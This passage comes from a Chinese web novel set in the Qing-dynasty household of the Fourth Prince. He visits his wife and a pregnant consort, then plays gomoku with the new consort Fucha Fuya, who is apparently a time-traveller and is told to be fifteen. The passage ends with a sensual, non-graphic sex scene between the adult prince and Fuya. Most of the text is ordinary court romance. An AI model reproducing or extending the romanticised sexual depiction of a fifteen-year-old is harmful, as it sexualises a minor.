等到帘子一掀开,四爷身影出现在她视线里,她便自然而然地起身过去迎接,脸上情不自禁地露出些笑来,朝四爷福身。 福身到一半,四爷伸手托住了她,“不必多礼。”说完收回手,抬腿进了里屋,脱了鞋子上炕。 福晋跟在后头,坐在了榻上的另一边。 下人们上了热茶和点心,又及时告退,只留了等着吩咐随时伺候的太监宫女默默站在角落里。 四爷端起热茶喝了口才放下,沉吟几秒,道:“昨日里我有些事,就没来扰你清净。” 这就算是解释了。 福晋心里满不满意不知道,反正面上她是带着笑,表示自己没意见,“爷平日里忙,外头的事情又多,我是清楚的,只可惜我能替爷分担的不多,唯独能做的事情也就是管好这个家了。” 四爷便拉过她的手,轻轻攥了下,也露出微笑来,“辛苦福晋操心了,福晋管家,我向来是放心的,”停顿了下,他看着福晋有些清瘦的面庞,便道,“只是福晋也别忘了操心自己的身体,那些琐事再如何都没有你的身体重要。” “妾身知道,四爷的关心,我都记在了心里……”福晋声音变得温柔起来,因为四爷的这一点关心觉得心中泛着甜。 四爷是男人,手掌比她要大得多,平日又多有锻炼骑射体质好,此刻握着她的手,几乎将她的手掌都裹了进去,温暖的体温也透过皮肤接触传递过来。 她的指尖动了动,心中犹豫了下,最后还是忍不住想要回握回去。 偏偏四爷却在此时抽回了手,他没注意到福晋刚刚的动作,也没察觉福晋眉眼间一闪而过的失落,“说起来,这李氏如今月份大了,劳烦福晋多操心些。” 这院里李氏就那么一个,也就是正怀着孕的李格格。 福晋收回手,抓着膝盖上的帕子,嗯了一声,“我是想着,这外面的养生嬷嬷再怎么好,都比不得宫里的,说不得要去麻烦娘娘一遭,派个宫里的养生嬷嬷来。” 四爷点点头,“这些事你来安排就好。” 福晋便将这事记下,又谈起府外和其他阿哥府的福晋交际的事情,四爷就一边端着茶,一边微笑听,偶尔点个头,应个两声,谁也看不出他心中已是感觉有些无聊。 转眼到了午时,正院的人领着上膳太监进来,一溜的吃食被摆上了桌,两个主子坐在桌前,旁边立着人伺候着。 食不言寝不语,一顿饭吃得安安静静的。 又过了半个时辰,四爷放下手中茶盏,“福晋先忙着,爷再去看看李氏。” 福晋就起身送四爷离开,她看着帘子再次掀起落下,将外面难得的阳光挡住了些许,站在原地呆了会,才转身又回到里屋。 没多会,孙嬷嬷掀开帘子进来,看着只有主子一个人在的里屋,跺了跺脚。 “哎,这真是……” 她话说到一半顿住,又叹了几声,福晋眼神落在账本上,头也不抬地道,“嬷嬷,我在算账呢,你少叹点气罢。” 孙嬷嬷就闭上嘴不说话了,只心里替她小主子着急,这四爷连午膳都吃了,怎么就没留下来过夜呢。 没多久,里屋传出噼里啪啦的打算盘声,听得人心烦意乱的。 人的悲喜并不相通,李格格住的院子里迎来四爷后,可谓是兴高采烈的,下人们给上了茶和点心,李格格都还不太满意,又要吩咐人去膳房再拿些吃食来,被四爷给阻止了。 “行了,爷刚吃了午膳没多久,那些吃的呈上来了也吃不下,少折腾些。” 他没像在正院里那样一进来便往里屋走,还找榻坐上去歇息,而是直接在外厅就找了椅子坐下。四爷看着李格格挺着个肚子还咋呼样地指挥着人,都觉得累得慌。 “你也别站着了,坐下吧。”他说。 “奴才不累,就是想贴着爷,四爷……”李格格一边说,还一边拉着四爷衣袖,贴着他想要撒娇,只是做这动作时她忘了自己如今挺着肚子,直接就顶到了四爷胳膊,让没怎么防备的他差点被从椅子上顶走。 四爷:“……” 他嘴角抽了抽,道,“爷说了让你坐,你就坐。” 都快生了的人,就不要再扮些小女人的姿态了,好歹等生下再说罢,四爷心中腹诽。实在是他看李格格如今模样,也不好同以前那般,顺手搂住李格格的腰将她揽进怀里。 软香温玉的前提也得是这女子身姿婀娜啊。 李格格看四爷面色淡淡,讪讪地笑了下,行为跟着收敛了些,这回老实坐下了。 9、第九章 四爷和福晋还能闲聊那么长一段时间,不是他真的对这些琐事感兴趣,只是福晋是正妻,他总要尊重些,给正妻体面,所以再怎么不感兴趣,面上也不会显露出来。 但他对格格就没这份耐心了。 李格格入府以来得他宠爱,本来也不是因为什么才华之类的,单纯就是颜色好,而且不管李格格在其他人面前如何跋扈,于四爷这个主子面前,她始终是柔顺的。 所以四爷说来看看李氏,真就只是因为她怀着自己的孩子才来看看,并不是打算多待甚至歇息在这,才会不进里屋。 而他和李格格聊得也很简短,就是问了几句李格格的情况,李格格面上带着甜蜜的笑,然后巴拉巴拉地说了一堆,四爷嗯了两声,然后打断她的话,“爷看你状态还是不错的,之后也好好养着。” 言下之意就是少折腾些。 虽然福晋管着后院,可四爷是这府里的主人,有些什么动静他也都知道,自是明白李格格从怀孕后尾巴就翘得有点儿高了,福晋没说不代表这情况不存在。 结果他不提还好,一提李格格就想起告状来了。 “奴才也想好好养着胎,只是、只是……”李格格吞吞吐吐的,本来想等着四爷问她,谁想四爷端着个茶杯就这么看她,偏偏不接话茬,李格格就只能自己硬着头皮说下去了。 “昨日里给福晋请安时,奴才本来是好心提点新来的两位妹妹,谁想两位妹妹却不领情,”李格格拿着帕子掩着唇角,垂眸做出失落模样,“罢了,就如四爷所说,奴才还是安心养着胎算了。” 她暗戳戳地想要给新来的两个格格上眼药,至于她同样介意的福晋偏心一事,李格格还没丢了脑子,自是知道不能抱怨的,起码要等日后她成了侧福晋再说。 “那你好好待着,爷先走了。” 四爷听她说完,也没对她说的这番话表态,而是直接起身离开。李格格跟在后头送人,倚着门口依依不舍地看着四爷离去的身影,琢磨着自己到底告状成功了没有。 苏培盛也在琢磨呢,四爷这到底是信了还是没信,或者说,四爷愿不愿意信。 四爷自然是没信的。 李格格在他面前那就是一汪浅的不能再浅的池子,有什么心思四爷轻而易举就看得出来,当然明白李格格这话就是单纯的争宠上眼药。 四爷猜测,当时最多就是起了些口舌之争,而且必定是李格格先撩拨的别人,且不占理,否则今日李格格在他面前就不是暗戳戳地上眼药,而是恨不得将自己的委屈说上百八十遍了。 倘若李格格还未有孕,那四爷最多就是觉得她小女人姿态,也愿意欣赏一番自己的女人为了自己吃点小醋。如今看李格格离发动也没几个月了,都还这么不消停,四爷就有点儿烦了。 本来他自己的气也就是刚消呢。 没表现在脸上也就是他养气功夫不错,加上他自己也有看医书,知道女子怀胎不易,又是怀的自己的孩子,才没训斥几句。 不过也就如此了,本就不打算多待的四爷想着眼不见心不烦,懒得听下去就直接离开。 走了有一段距离后,四爷站住,朝四周看了看,苏培盛便凑了过来,“主子爷,您是要去西溪阁么?”他想着这几天四爷都是宿在汪格格那,如今又没往前院走,那就是要留后院了。 四爷瞥了他一眼,没做声。 苏培盛秒懂,既然不是去汪格格那里,主子爷又已经从福晋到李格格那走了一圈,剩下的就只有宋格格和新来的富察格格了。 他便试探道:“那要先去和宋格格院里的人先说一声么?” 话音刚落,四爷就抬腿踹了他一脚,没用力。 “你说呢?” 苏培盛没敢拍身上的脚印子,赔着笑,“奴才自然是听爷的。” 得嘞,他猜错了,四爷是要去见那富察格格。 要说苏培盛作为四爷身边的人,跟了他这么久,这心思都没猜对,也是因为他知道四爷就不爱满洲姑奶奶那种寡淡的面相,不见连福晋都只有尊重没有宠爱么。 这些天苏培盛跟着四爷在前院和宫里宫外的转,也没见过富察傅雅,自是以为她也是这类长相,而且刚刚李格格还在四爷面前上了眼药呢,所以就没想着提起这个人。 至于格格一直没侍寝会不会有什么难堪之类的,跟他一个奴才有什么关系,他要操心的就只有主子爷一人罢了。 如今看来,这富察格格运气是来了,不用继续守着空房。 不过看主子爷这情况,是不打算让人提前通报的,那这富察格格最好祈祷自己没干不好的事情,否则这好事就得变坏事咯。 四爷带着苏培盛往映月阁走,他还是第一次往这个方向,不过开府时他看过了自己这个府邸的堪舆图,还调整过一番布局,倒是知道映月阁的位置,所以也没有走错。 此时正是午时接近未时,今天又是个难得的晴天,这个时辰刚好是太阳最大的时候,等走到映月阁门口时,四爷额头都微微渗出薄汗,有些热了。 守在映月阁门口的小太监是最先见到四爷的,顿时就震惊了,娘耶,他们格格终于是要翻身了么? 连忙就俯首急行两步跪下,正要大声请安,四爷却抬了下手,然后大步跨过了他。 苏培盛丢下一句噤声,也匆匆跟在后头进去。 沿路遇到的下人也都在苏培盛的示意下惴惴不安地闭了嘴,不敢发声通报给格格听。 等过了照壁,四爷的脚步也放轻了,他原想站在靠厢房的廊檐下不动,却没想到自己刚走到院落,便看到了一副美人斜倚图,顿时脚步就停住了。 此时日光正好,原本关着的木窗也被支起,窗下有一美人右手支着下颚,慵懒靠着窗沿边。及腰秀发倾落而下,阳光隔着纱窗洒落在她头顶身上,仿佛晕出浅淡光圈,整个人都在发着光,本就明媚的面容更显耀眼夺目,令人见之惊叹。 她左手指尖夹着一枚黑色棋子,更衬得她手指如精雕细琢的白玉,修长而光洁润泽,垂眸露出思索之色时,只觉她周身带着恬静而美好的氛围。 四爷脑海里下意识地便浮现出唐朝杜牧的诗句—— 斜倚玉窗鸾发女,拂尘犹自妒娇娆。 他立在原地不动,只这么看着,像是也不想打扰了这幅美景。 四爷身后的苏培盛心中咂舌,没想到这富察格格竟然不是那等寡淡的面容,而是个明媚美人呢,在四爷悄没声进来时也没让他撞上难堪的一面,看来这回是真的要翻身了。 傅雅完全不知道有人在一旁看着自己,她专心致志地看着自己面前的棋盘,然后落下一子。 窗台里虽只露了傅雅一人的身影,实际她对面不靠窗的位置还坐着巧琴。 巧琴比最开始放松了一点,但还是只坐了半个屁股,而且挺直着背脊,随时准备起身。她捏着白子,想了一会才落子,嘴里道:“这五子棋比围棋简单多了,连奴婢都能立刻听懂,然后与您对弈呢,格格是怎么想到这种玩法的?” “这可不是我发明的,”傅雅随口道,“最早尧帝时期就已经有了这种玩法,只是后来人更偏爱围棋罢了。” 主要就是围棋规则复杂,又蕴含了丰富的文化和哲学思想,底层人一是没时间学二也没那个精力钻研,就挺适合上层人装模作样提升逼格的。 五子棋却是简单到小孩子都能上手玩个几把,上限低且缺乏挑战性,所以后者没有前者那么风靡,缺少空闲的底层人好多都不知道这个玩法。 “格格懂得可真多。”巧琴夸赞。 傅雅忍不住笑,“你的嘴也真甜。” 主仆二人对视一眼,莫名都被她们这番对话给逗乐了,傅雅笑得更加灿烂,巧琴也捂着嘴笑出声来。 结果就是这么笑得前仰后合的,傅雅从窗户口看到了一群人。 为首的男人手负身后,身姿挺拔,鼻若悬胆,一派龙章凤姿气质,给人以高高在上,不可亲近的矜贵之感。 傅雅望过去时,立刻就撞进了那双幽深的上挑丹凤眼中。 傅雅:“……” 娘耶,这人什么时候来的啊,站这看了多久啊,连声都不吭一个吓死个人! 傅雅差点就吓得顺手把窗户给拉下去了,还好她克制住了自己没做出这种傻事。 她连忙下了榻,动作间她身后披着的头发都滑到了她胸前,她才想起来自己刚刚洗了头擦干了头发,为了舒适就没梳起。 巧琴看着自家格格突然变得慌里慌张的,还拿手抓着散落的头发,忍不住就也跟着下了榻,“格格,您这是怎么了?” 傅雅弯下腰,压低声音,“四爷。” “啊?” 傅雅指了指外面,气声道:“四爷来了。” “啊?!” 巧琴震惊了,也吓到了,看都不敢朝窗台外看一眼,只跟着慌张起来,“格格,您这头发,还有您这衣服……” 外面的四爷本来站得也不算太远,他耳朵又尖,隐约听到了里面的一些动静,仿佛都能见到这小格格慌里慌张的模样,嘴角便不自觉地噙着笑。 好在他还没有太过促狭地直接进去,而是耐心又等了会。 没人敢让这府里最大的主子爷等太久。 不到半盏茶的时间,也就是四五分钟吧,傅雅便领着身边的下人出来迎接了。 原本披散着的头发被松松地扎在后脑勺,勉强编了个辫子的形出来,只是她身上穿着的方便内室行动的雪色长裙是不好换了,便只能搭个浅蓝色的对襟披风,勉强不太失礼。 因为刚刚那番动静,她面颊都带着些许红晕,些许碎发散落在她颊边,透着股青春活力的甜美感,与方才那副宁静美人图又是不同的感觉。 “奴才给主子爷请安,主子爷吉祥。奴才方才迎接迟了,求主子爷恕罪。” 傅雅请安时微垂着眸,听着自己嘴里说的词都觉得挺刺耳的,不过谁让这府里的人都是四爷的奴才呢。 就像是巧琴在她面前也自称奴婢一样,难道巧琴会喜欢这么自称吗,不过是这该死的时代罢了。 一边请安,她一边觉得自己是真的跟这位四爷大概八字不合。 进门就被冷落了三四天,好不容易这位主子爷想起她来了,结果这位四爷搞得跟进村打鬼子一样悄没声的过来,要知道请安迟了这事真计较起来也是个错啊。 只希望这位四爷不要在这种情况下对她“刻薄寡恩”。 傅雅这边心怀惴惴,四爷感觉却是挺不错的。 欣赏美人这种事情,不分性别,不分阶层。 就算是四爷这种见多了美人的天潢贵胄,见到新的美人也会懂得欣赏,心情愉悦,更别提面前的美人本就是他的格格。 之前从李格格那出来时的心烦早已消散,此时的四爷倒是有些可惜,之前没有早点过来。 看来这人的确不能只靠刻板印象便下了结论,说不定就会错过些什么。做人如此,做事也是如此,往后他有了爵位能上朝时,也需谨记这一点。 所以四爷也没让眼前的小格格请安太久。 傅雅只维持这个请安姿势大概几秒,就听到头顶传来略低沉的嗓音。 “起来吧。” 她眼角余光看到衣角从她身旁扫过,四爷进屋了。 傅雅松了口气,万幸,看来这位爷没生气,然后她搭着巧琴的手起身,忙不迭地也跟着进去了。 10、第十章 四爷进屋后,先看了眼屋里的环境。 没什么特殊的地方,就是普通格格该有的房间规制,傅雅刚搬进来,也没来得及添置什么东西,整体很是素雅。随后他迈步走向里屋,也看到了遗留在榻上的棋局。 上面摆放的棋子布局让四爷一看就知道自己方才猜错了,这小格格下的不是围棋,而是五子棋。 倒是有些顽心。 四爷笑了笑,心想。 他侧身坐到榻上,刚好是方才傅雅所坐的位置,似乎还残留着些许余香。 四爷捻起一枚棋子摩挲,听到脚步声后抬头,正好看到傅雅微微侧头,掀起帘子走了进来,只觉眼前一亮,顿时便感受到了何为蓬荜生辉。 原本只是过于简单素雅的房间在她的衬托下,似乎也多了古人常赞的高雅气质。 “会下围棋么?”四爷问。 “会一些,但不精通。”傅雅走过来,四爷指了指对面,傅雅还挺高兴自己不用站着伺候人,很是干脆地坐了下来。 四爷看她坐得扎扎实实的,动作间不见半点拖延,不禁就想到了汪格格。 这两个小格格虽然同日进门,但性格的确不同,四爷玩味地想,不过此时他更喜欢傅雅这态度。 他不喜欢别人过于破坏规矩,却也不爱别人在他面前过于战战兢兢,扭扭捏捏的。 “和爷下一盘吧。”四爷道。 棋盘上的棋子自是有下人们收拾放回到棋奁里,傅雅看着自己手边装着白棋的棋奁,又看了眼四爷那边装黑子的棋奁,想着方才他也没生气的事,大着胆子决定试探一下这位四爷的脾气底线。 虽说她没想着要争宠什么的,可这不意味着她什么都不会做。 摆烂的前提是懂得自己的退路在哪里。 争宠不是件容易的事情,因为人心是很复杂的。同样一件事情,可能你前脚做出来,对方是喜欢的,后脚做出来,对方就讨厌了。 而人心又贪婪,得宠了可能就会想着一直得宠,若是一直想着如何维持得宠,人的想法只会越钻研越钻牛角尖,哪天失宠了,体验过得宠的感觉后再跌落,那感觉很容易逼疯人。 别说什么保持好心态就行了。 否则为什么现代谈恋爱的时候,有些人明知道自己的恋人是渣滓,却总是不愿意离开呢,就是因为之前花费的心思太多了,对自己来说沉没成本太重了,能舍得干脆离开的终归是少数。 而在古代,心态失衡的事情更要命,因为这位四爷在她面前的身份不管再多变,有一个是不会变的。 那就是他是掌控她性命的主子。在这样一个身份面前,她要是表现出来怨恨了…… 轻则冷落,重则丧命。 但傅雅也不能明晃晃地表示出来,我不在乎你这个人,你爱去哪去哪,老娘一个人待着更舒服。 这同样也是找死! 就算管着后院的是福晋,可她上头依旧立着主子呢,也就是这个府里唯一的主人——四阿哥胤禛,若他厌恶了一个人,就算福晋想要捞人也注定捞不了。 一个封建社会皇权下被捧着长大的皇子发现自己的女人一副完全不在意自己的样子,会有什么想法? 反正大部分时候不会像电视剧或者小说那样觉得,这真是个有趣的女人。 这种人又不缺女人,而且以历史上雍正对李格格和年妃的行为来看,他再怎么宠爱也没见破了规矩耽误了政事,甚至不影响他去睡别的女人。 这就说明他也不是个看到美女就昏了头的人,发现自己的格格不在意他,他很可能也会立刻将这人丢在脑后。 单纯的不受宠,和故意被冷落的下场可不同。 所以傅雅在进府的那天就想好了,她不会在争宠上卷,也不会故作清高。 她愿意做些讨好四爷的行为,来让自己过得更好一些,可也会在这其中表现出些许自己的性情,人一直戴着面具要么疯要么就是忘了自己的本心。 她就当自己依旧在打工,四爷就是她要接手的唯一项目,只是这次项目的限制比较多,容易丢命而已。 为了项目的绩效,人家在眼前的时候表现出来喜欢他又不算什么,反正这人又不会一天二十四小时都在面前,总有抛在脑后放松的时候。 做人么,为了活得好点,干这种事不寒碜。 而在这种想法下,她需要试探出这位四爷的性情,和他的底线,才好知道自己要如何做,能放松到什么程度,真实的自己能表现出几分。 四爷此时不知道傅雅在想些什么,他抬手从棋奁里捻起棋子,然而指尖还没离开棋奁呢,一只纤纤细手便探了过来,轻轻落在了他的手掌上。 那指尖不知如何动的,就这么轻巧地夺走了他夹着的黑子。 四爷眼疾手快地抓住了她的手腕,没让她收回。 “嗯?想做什么?” 他眯眼望去,就见对面坐着的人朝他一笑,那双明亮如秋水般清澈的黑眸倒映着他的面容,摆出一副无辜的模样来,“四爷,您就让人家和刚刚一样拿黑棋吧。” 她说得可怜巴巴的,四爷却见她一边说,还胆大地用另一只没被抓住的手托起了棋奁,眼见着就要在他眼皮子底下把棋奁拿走。 “……爷还没同意呢,你这是直接就拿了?” 四爷故意板起脸,嗓音都刻意压低了些,看起来像是不满,可一旦对上他眼睛,就能见到他眼中浮现出的点点笑意。 傅雅见他如此模样,知道他没生气,感觉还可以再往前试探一点,“实在是四爷棋艺高超,我担心输得太快,爷觉得没意思,就不和我再玩了,拿黑棋好歹能下先手呢,多点儿优势。” 四爷听得好笑,“爷还没开始下呢。”就说他棋艺高超了? “自是因为四爷看着就一表人才智勇双全足智多谋绝顶聪明才华盖世不同凡响,”傅雅夸赞的话想都不用想就从嘴里一溜儿地跑了出来,一口气说了几个成语,才下了结论,“这围棋自然也是难不倒四爷的,所以肯定下的精通。” 这回四爷是真的听乐了,连本来板着的脸也没继续装下去了。 他微微一笑,促狭道:“你这嘴巴,比你身边的丫鬟还嘴甜些。” 不得不说四爷被夸得还挺高兴,他自是知道她是故意这么说来讨巧的。不过好话谁都愿意听,更何况说这话的人是个美人,还是个属于自己的美人。 而这说话的场景也是在闺房中,闺房之乐四爷还是懂的,当然不会煞风景地觉得傅雅拍马屁是阿谀奉承行小人之事。 “那四爷觉得,我说得有道理么?” 傅雅朝他眨巴眨巴眼,心中则是翻了个白眼,就知道刚刚这人在偷听,都拿她夸巧琴的话来打趣她来了。 还好当时她跟巧琴不是在说别人的坏话。 四爷看她那双大眼睛眼巴巴瞧着自己,睫毛随她眨眼的动作一扇一扇的,只觉似乎也轻轻扇过自己的心尖,带来轻微的瘙痒,令他忍不住伸手捏了捏她的脸颊。 “行了,爷同意了,你这张嘴还挺会说的。” 四爷只觉手下触感细腻柔滑,收回手时,发现自己明明没怎么用力,她白皙的脸颊却依旧残留了些许薄红。 他捻了捻指尖,颇有点意犹未尽,就是不好再又来一回。 这么不经碰么,四爷漫不经心地想。 傅雅没觉得痛,自是不知道自己脸上留了印记,只笑眯眯地在四爷允许后把两人的棋奁交换了下,还不忘再拍一个马屁,“四爷大气。” 随着时间流逝,棋盘上落下的棋子越来越多,四爷发现傅雅还真没自谦,这下棋的水平虽然说不上烂,可也就是普通的棋力,以至于下着下着,四爷还能有大半精力放在其他地方,和傅雅闲聊起来。 “你多大了?” 傅雅盯着棋盘上的棋局,脑袋里想着自己该下哪,嘴里还没忘回答,“回四爷,今年十五了。” 十五?居然不是十七八岁? 四爷心中有点意外,主要是四爷也没忘了傅雅站着时的身高,虽只是粗略一瞥,却看得出比他这后院的女子都要高了。 李格格她们只到他胸口位置,这富察氏怕是能到他耳垂旁。 这以后该不会还要再长吧? 四爷琢磨着日后强身健体的事情,虽说他没其他兄弟擅长骑射,可多练习些,他这年龄身高也还能窜一窜往八尺男儿方向走的,主要是四爷觉着总不好只比自己的女人高那么半个头。 四爷想着这些时,傅雅也想好了自己该下哪里,她落下自己的黑子,抬头示意该四爷了。 四爷看了眼棋盘,只略微想了想,便落了子,又问她,“怎么想着洗了头?” 傅雅看着棋盘,不自觉地左手便撑着下颚了,“今天难得出个太阳呢,虽然有篦子可以梳头,可还是洗个头更清爽些,也更舒服。” 四爷看她左脸颊被撑得微微鼓起,手便又有些蠢蠢欲动了。不过想着她皮肤嫩,还是克制住这想法,伸出的手转而落到她胸前的发辫上,朝着自己的方向轻轻拉了拉。 这距离已经足够他闻到傅雅发丝上的气味。 他鼻尖嗅了嗅,没闻到什么气味。 “怎么没用发油?” 11、第十一章 傅雅闻言,看向四爷。 这手捧发丝轻嗅秀发的动作,不同的人做出来效果也是不同的。 长得好看的,那叫雅致风流,长得不好看的,那叫骚扰。 四爷自然是前者,这动作被他做出来,不显丝毫轻浮,看着倒是赏心悦目。 “发油用了就没那么清爽了,”傅雅摇了摇头,因为她的动作,本来被四爷虚握着的发尖也从他掌心滑落,“而且我这儿的发油,那味道我也不是太喜欢,索性就不用了。” 四爷嗯了一声,收回手,也没再继续碰她的头发,傅雅也只以为他就是随口一说。 实际四爷心中想,这话也没错,不过是格格的位份,份例能有的东西自是好不到哪里去。 他看傅雅这幅模样,这个性情,在家必是被千娇百宠的,平常用的发油肯定比一个小小的格格要好,如今会不喜欢也很是正常。 美人么,终归是要娇养的,真在自己这里过得差了,四爷觉得也不好,说来他记得前不久有人上供来的东西里就有发油,听说还是漂洋过海过来的,应该差不到哪里去。 说话间傅雅又下了一子,四爷思考的时间依旧没花太长,就又轮到傅雅苦思冥想了,她觉得自己今天脑细胞都要死好些个。 四爷继续闲聊,“你家里除了你,还有其他兄弟姐妹么?” “还有三个哥哥呢,”傅雅道,她大半心神都被棋局占据了,于是话也说得较为随意,没太多思考,“大哥读书好,去年就已经考了举人,我还没进爷府里时,就听家里商量过了,约摸着今年就又要下场。 “二哥比起读书更好舞刀弄枪的,成日里想着参军。三哥性子更圆滑些,不过阿玛额娘倒是最头疼他了,说他成日里不务正业,总爱拉扯一帮人瞎混混。” 这番话里虽有吐槽,但她语气亲昵,光是听便能知道她和自己的哥哥感情不错。 而且四爷从她话中听出来这家是文武都有意发展,除了傅雅的三哥,另外两个都是走的正经路线。 但性子圆滑的人也容易抓住机会,旗人间又关系复杂,说不准哪天就得了官身。 “好好干,做事踏实的人总归是不缺前途的。”四爷说得淡淡的,心里其实是满意的,他总归是希望手底下能用的人越来越多,只不过也不是什么人都能被他提拔的,好歹也要有点儿本事。 就算是个光头阿哥,手里漏出来的机会也足够其他人抢的,毕竟皇位上坐着的是自己的亲生父亲呢。 “爷说的是。” 这话听着像是四爷有意日后提拔……傅雅很快想明白,她人都进四爷府里了,外人看着她这一家子也都成了四爷手底下的人。 而且就算她家想要站到别人家队伍里,那人家的势力看着也不会放心。 所以她一家就是绑死在四爷船上了,四爷自是不介意提拔自己的人。 她再一次庆幸康熙心血来潮时给她指的是四爷府,上的不是一艘会沉的船。 四爷:“这几日里,你平常都做些什么?” 还能干啥,吃吃喝喝呗,顺带熟悉下环境,傅雅心想,眼睛又在瞄棋盘了。 虽说她水平一般吧,可看棋局和下棋又不同,这就跟懂冰箱的人不代表要会制冰箱,评价电影的人不代表要会拍电影一样。 所以傅雅自是看得出来她离着输不远了,继续下下去也不过是垂死挣扎,而且她看四爷这下得漫不经心的样子也不顺眼很久了。 本来她下得就不容易,还聊天扰乱她思绪,这人就是成心的! 不是我方不努力,是敌方太狡猾! 索性她就将手里的白棋子一丢,“不下了。” “嗯?” 四爷声音又沉下来,挑眉看她,那股属于皇子的威严气势便出来了。 “你就是这么在爷面前半途而废的?” 傅雅一点也没慌,她顶着四爷这压力重重的视线,一手托着下颚,一手探过去便抓住了四爷还捏着棋子的手,晃了晃。 “爷明明知道自己聪明,也知道我下棋水平一般,结果还来撩拨人,”她一眨不眨地看着四爷,指尖硬是穿过他的指缝,在他掌心轻轻挠了挠,“这满心满眼里都想着回爷的话,让人都没法专心下棋了。” 最后一句她的尾音拖得长长的,轻飘飘地就落在他心上,就像她手里的动作一样,弄得人心痒。 “爷还没说你呢,你倒是说起爷来了。”四爷声音愈发低沉,幽深的眼看她。 下一刻,他反手抓住傅雅的手,整个裹进他手掌中,朝自己方向没怎么用力地一拉。 傅雅顺着他的力道朝他的方向靠去,本来铺在棋盘上的棋子被她的动作一扫,落到了榻上和地面,发出噼里啪啦的脆响声。 四爷另一只空闲的手落到她下巴,轻轻抬起,似笑非笑地。 “你这嘴巴撅得都能挂起油瓶了。” 傅雅眨眨眼,“那我挂的油瓶肯定也是最好看的。” 四爷见她不仅不慌,还能说这种趣话,眼里的笑意也浓了,“哼,没出息。就只想着挂油瓶么?” “自然不是,除了挂油瓶,还有……” 她声音一顿,微微偏过头来,唇便轻轻贴上了四爷掐着她下巴的那只手的食指。柔软的触感顺着肌肤接触传递给四爷,他看着那双漂亮的眼睛雾蒙蒙地看他,声音也软得能沁出水。 下一瞬,他便顺着自己的心意欺身上前,重重压住了那张唇,将她后半句话堵在了唇舌交触间。 在如此近的距离下,四爷从她身上闻到了淡淡的香味,清雅而不过于甜腻,和之前残留在座位上的气味一样,四爷就一边亲,一边脑海中飘过些许念头。 她身上抹的什么香…… 半晌,四爷才放开了她。 傅雅坐回到自己位置上,暗自调整好自己被扰乱的呼吸,她脸上虽有红晕,不过并未变成娇喘吁吁的模样,四爷看着莫名觉得有些可惜。 他看了眼窗外的天色,按捺下自己的欲望。 不过这欲望也没完全克制,虽不好白日宣淫,可做些亲近的举动却没什么。 四爷朝傅雅示意,“坐这里来。” 傅雅就下榻走到四爷身边,还未站定,便被他拉进了怀里。 傅雅也没客气,直接将自己的全部体重都放到了这人身上。好歹刚刚他才亲过她呢,为她做点体力活又不算什么,而且这清朝的皇子也是要练骑射的,这点儿力气还是有的,她又算不得多重。 果然,四爷腿上承担着这么个重量看起来也毫不吃力,反而觉得抱了个满怀,还挺满足的。 “你这身体倒是比起寻常女子要好。”他说,想到刚刚唇舌交缠间,傅雅虽敌不过他,可也没有溃不成军。他倒是没怀疑傅雅进府前有什么亲近的人,单纯就是觉得她学得挺快。 傅雅呵呵笑,秒懂四爷在调侃她,于是回嘴道:“四爷气息才是悠长,令人甘拜下风。” 四爷忍不住轻轻拍了下她的臀,“什么乱七八糟的话也拿来夸人。” 傅雅被拍了下屁股,立刻埋进他肩膀,“爷就欺负我~”她嘴里说着软话,实际朝着窗外翻了个白眼,哼,嘴里说着不喜欢,其实心里挺乐的吧,男人就是这副德行。 四爷脖颈处被她吐息喷得痒痒,再开口时,声音都沙哑了些。 “行,爷不欺负你了。” 顿了顿,他扶着傅雅的腰让她坐正,“身上跟少了根骨头似的。” 虽是说她,但低哑的声音却显得温和,连那凌厉的眉眼也变得放松柔和多了。 两人紧挨在一起,气氛也变得黏糊糊的,低声说着话语,看着一副亲近样。 候在角落里的苏培盛心中啧啧,没想到啊,这富察小格格不仅人长得美,这手段也挺美的,想来后面至少会得宠一段时间了。 至于这时间到底是长还是短,那还得再多看看呢。 巧琴可没苏培盛那么老神在在的,她一直为自家格格捏着把心。尤其是中间看到格格将棋子一丢说不下时,四爷那沉下来的脸色直接就惊住她了,生怕下一秒主子爷就会甩袖离开。 万幸格格又哄了回来。 她胸口心脏噗通噗通地跳,却也不敢抬手摸摸,只内心祈祷着她家格格万事顺利。 12、第十二章 时间一点一点往前挪,太阳也渐渐下落,到了吃晚膳的时候。 这回因为四爷在这,膳房的人提过来的饭菜就丰富许多,四爷直接让傅雅坐下一起吃饭,不必伺候他。 于是傅雅也跟着蹭了一波府里最高档的饭菜,吃得还挺开心,四爷看她这吃饭模样,不知不觉竟也比往常多吃了点。 这就有些吃撑了。 四爷:“……” 四爷就看着自己吃光的碗默了默,然后起身写了会字消食。 傅雅站在旁边帮忙磨墨,红袖添香的,气氛倒也不错,外面的天色也暗了下来。 等四爷写完大字,傅雅还在旁边点评夸赞呢,下一秒就被四爷搂着腰带上了床。 本来还在房里等着伺候主子们的下人连忙退出了房间,没多久,听着里面的动静,这些人纷纷又都站远了点,低着头守门。 不过映月阁的下人心中都有些激动,主要是格格受宠了,他们日子才能更好过啊! 里屋里,床上两人的衣服早已褪去,身形交叠在了一起,水乳交融间,四爷只觉十分畅快,似乎他和傅雅的身体天生便如此相合。 他沉醉地探索着身下人的身体,情动间,俯下身轻轻咬她的脖颈、胸口,留下一个又一个印记。 他声音低哑含糊地问她:“你的闺名叫什么,说出来……” 傅雅喘着气,“富察……傅雅……” “傅雅,傅雅,”他便低声重复着她的名字,手从她背脊抚摸滑落,喊得更亲近些,“雅儿……” 本来还在意乱情迷的傅雅神情一顿,不知怎地就想到了那句“芽儿呦”,差点就被自己想的东西给逗笑出声,她连忙搂住四爷的脖子,将头埋进他的肩膀,也学着他刚刚的动作咬住他的肩,却还是忍笑忍得身子颤动。 四爷却不知她是怕真的笑出来,只以为她是听到自己这么唤她,于是情难自禁的身子颤抖。 他换了个姿势,变成了她坐靠在自己腰上,又捏住她下巴亲了上去,沙哑地道:“除了请安时说了几句奴才,后面就不说了,嗯?”不等傅雅回答,他又低低地笑,喘息着道,“不过……爷准了。 “以后私底下……你就这么称呼。 “但是……若是有外人在,最好……还是守些规矩……懂么?” “我懂,”因为唇舌被纠缠着,傅雅的声音也说得含含糊糊,“四爷对我的心思……我都懂……”从做出试探的行为开始,傅雅便一直想着这位爷什么时候说出来,没想到他却一直没制止,反而还同意了。 被欲望吞噬前,傅雅想,这倒是不错,给她试探出来了这位爷面对他的女人时,底线倒是挺宽松的。 至于什么感恩戴德,那就算了。 她的感动心还没那么廉价。 